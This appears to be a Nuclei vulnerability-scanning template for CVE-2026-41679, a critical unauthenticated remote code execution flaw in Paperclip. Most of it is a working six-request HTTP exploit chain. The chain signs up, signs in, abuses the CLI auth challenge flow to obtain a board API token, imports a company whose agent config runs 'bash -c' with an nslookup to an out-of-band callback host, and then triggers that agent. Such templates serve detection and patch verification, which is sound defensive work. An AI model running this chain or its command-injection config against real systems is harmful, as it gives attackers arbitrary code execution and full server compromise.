id: CVE-2026-41679 info: name: Paperclip - Remote Code Execution author: theamanrawat,pdteam severity: critical description: | Paperclip < 2026.416.0 contains a remote code execution caused by a chain of six unauthenticated API calls in authenticated mode with default configuration, letting unauthenticated attackers execute arbitrary code remotely, exploit requires network access to the target. impact: | Unauthenticated attackers can execute arbitrary code remotely, leading to full system compromise. remediation: | Update to version 2026.416.0 or later. reference: - https://github.com/paperclipai/paperclip/security/advisories/GHSA-68qg-g8mg-6pr7 - https://attackerkb.com/topics/86rSV7hsXi/cve-2026-41679 - https://www.rapid7.com/db/modules/exploit/linux/http/paperclipai_unauth_rce_cve_2026_41679 - https://nvd.nist.gov/vuln/detail/CVE-2026-41679 - https://github.com/bartfroklage/cve-2026-41679 classification: cve-id: CVE-2026-41679 cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H cvss-score: 10.0 cwe-id: CWE-862,CWE-287,CWE-1188 epss-score: 0.18852 epss-percentile: 0.97122 cpe: cpe:2.3:a:paperclipai:paperclipai:*:*:*:*:*:node.js:*:* metadata: verified: true max-request: 7 vendor: paperclipai product: paperclipai shodan-query: http.title:"Paperclip" port:3100 fofa-query: title="Paperclip" && port="3100" tags: cve,cve2026,paperclip,paperclipai,rce,unauth,oast,intrusive,vuln,vkev variables: r_user: "{{rand_text_alpha(8)}}" r_email: "{{rand_text_alpha(8)}}@{{rand_text_alpha(5)}}.com" r_pass: "{{rand_text_alphanumeric(16)}}" r_corp: "{{rand_text_alpha(8)}}" flow: http(1) && http(2) && http(3) && http(4) && http(5) && http(6) http: - method: GET path: - "{{BaseURL}}/api/health" matchers: - type: dsl internal: true dsl: - "status_code == 200" - "contains(body, 'deploymentMode')" - "contains(body, 'status')" condition: and - raw: - | POST /api/auth/sign-up/email HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Origin: {{RootURL}} {"email":"{{r_email}}","password":"{{r_pass}}","name":"{{r_user}}"} matchers: - type: dsl internal: true dsl: - "status_code == 200" - "contains(body, 'createdAt')" condition: and - raw: - | POST /api/auth/sign-in/email HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Origin: {{RootURL}} {"email":"{{r_email}}","password":"{{r_pass}}"} extractors: - type: regex name: session_cookie internal: true part: header group: 1 regex: - '(?i)set-cookie:\s*([^;\r\n]*session[_-]token=[^;\r\n]+)' matchers: - type: dsl internal: true dsl: - "status_code == 200" - "contains(body, 'token')" condition: and - raw: - | POST /api/cli-auth/challenges HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Origin: {{RootURL}} {"command":"{{rand_text_alpha(6)}}"} extractors: - type: json name: challenge_id internal: true json: - ".id" - type: json name: challenge_token internal: true json: - ".token" - type: json name: board_api_token internal: true json: - ".boardApiToken" matchers: - type: dsl internal: true dsl: - "status_code == 201" - "contains(body, 'boardApiToken')" condition: and - raw: - | POST /api/cli-auth/challenges/{{challenge_id}}/approve HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Origin: {{RootURL}} {"token":"{{challenge_token}}"} matchers: - type: dsl internal: true dsl: - "status_code == 200" - "!contains(body, 'error')" condition: and - raw: - | POST /api/companies/import HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Authorization: Bearer {{board_api_token}} Origin: {{RootURL}} {"source":{"type":"inline","files":{"COMPANY.md":"---\nname: {{r_corp}}\nslug: {{r_corp}}\n---\nx","agents/pwn/AGENTS.md":"---\nkind: agent\nname: pwn\nslug: pwn\nrole: engineer\n---\nx",".paperclip.yaml":"agents:\n pwn:\n icon: terminal\n adapter:\n type: process\n config:\n command: bash\n args:\n - -c\n - nslookup {{interactsh-url}}"}},"target":{"mode":"new_company","newCompanyName":"{{r_corp}}"},"include":{"company":true,"agents":true},"agents":"all"} - | POST /api/agents/{{agent_id}}/wakeup HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Authorization: Bearer {{board_api_token}} Origin: {{RootURL}} {} extractors: - type: json name: agent_id internal: true json: - ".agents[0].id" matchers-condition: and matchers: - type: word part: interactsh_protocol words: - "dns" - type: dsl dsl: - "status_code_1 == 200" - "contains(body_1, 'agents')" - "status_code_2 == 202" condition: and # digest: 4b0a00483046022100a16c418fe1b87f53e7c681e33f77244d9599ce0e62fde74a089ea5db1879a918022100df6b219662243ea936aa3f5119df502ab40f56be35b725ad37a557627564baaf:922c64590222798bb761d5b6d8e72950